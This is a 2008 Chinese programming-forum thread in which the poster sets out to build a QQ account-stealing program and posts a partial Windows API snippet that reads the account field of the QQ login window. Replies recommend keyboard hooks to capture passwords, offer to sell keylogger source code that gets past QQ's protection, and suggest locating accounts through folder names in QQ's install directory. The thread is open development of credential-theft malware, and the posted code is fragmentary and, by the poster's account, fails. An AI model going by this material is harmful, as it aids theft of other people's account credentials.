注册 登录
编程论坛 VC++/MFC

关于QQ盗号程序的一些问题

Sruing 发布于 2008-04-23 00:05, 2502 次点击
最近想练习练习API,自然而然就想起QQ盗号程序了,但是一开始就遇上了麻烦。
程序代码:

         char passid[128];
         int i=0;

     HWND hwndform=::FindWindow(0,"QQ用户登录");
    if(hwndform!=NULL){
         HWND hwndlist=::GetDlgItem(hwndform,138);
    ::SetForegroundWindow(hwndlist);
    ::SetFocus(hwndlist);
    i=::GetWindowText(hwndlist,(LPSTR)passid,sizeof(passid));
         以下省略......

hwndform是QQ登录框的句柄,hwndlist是输入帐号那个文本框的句柄
我帐号文本框里有QQ号,但为什么i的返回值始终是0呢?
14 回复
#2
radcat2008-04-23 10:51
HWND hwndlist=::GetDlgItem(hwndform,138);
在这设个断点看得到窗口句柄的值是否为0
#3
余来2008-04-23 10:53
这是因为QQ程序保护了嘛,就算获取到的数据也是假数据,所以不能用这种方法获取拉
#4
sunkaidong2008-04-23 11:00
拦截键盘输入呢...
#5
zaroty2008-04-23 12:31
或许可以哦。。。
#6
Sruing2008-04-23 13:02
密码可以键盘拦截那万一帐号是原来就有,不是新输入的呢
#7
VanHorn2008-04-23 16:54
那就建立一个键盘的钩子,每次qq运行都监控是否输入密码。总有遗漏的时候吧。。。[bc09]
#8
Sruing2008-04-23 17:51
帐号的问题怎搞?
#9
radcat2008-04-23 18:22
QQ有安全控件保护的,不过好搞,键盘截获的有要源码的不,我写出来过,不过要付money
#10
radcat2008-04-23 18:23
而且是两种一种用SDK,一种用DDK,要的在这回信
#11
sunkaidong2008-04-23 18:24
天,楼上你就贡献点好了..呵呵..其实论坛里面有写过的...
#12
Sruing2008-04-23 18:35
穷学生一个 买不起 还是自己写吧
#13
tsing_best2008-04-27 13:52
搜索QQ所在的文件夹,其中就有以账号命名的文件夹!
#14
vfdff2008-04-28 00:08
怎么认识 qq运行 程序呢 ?就是不同的程序难道有标志吗
#15
a520thf2014-02-23 12:52
呵呵
1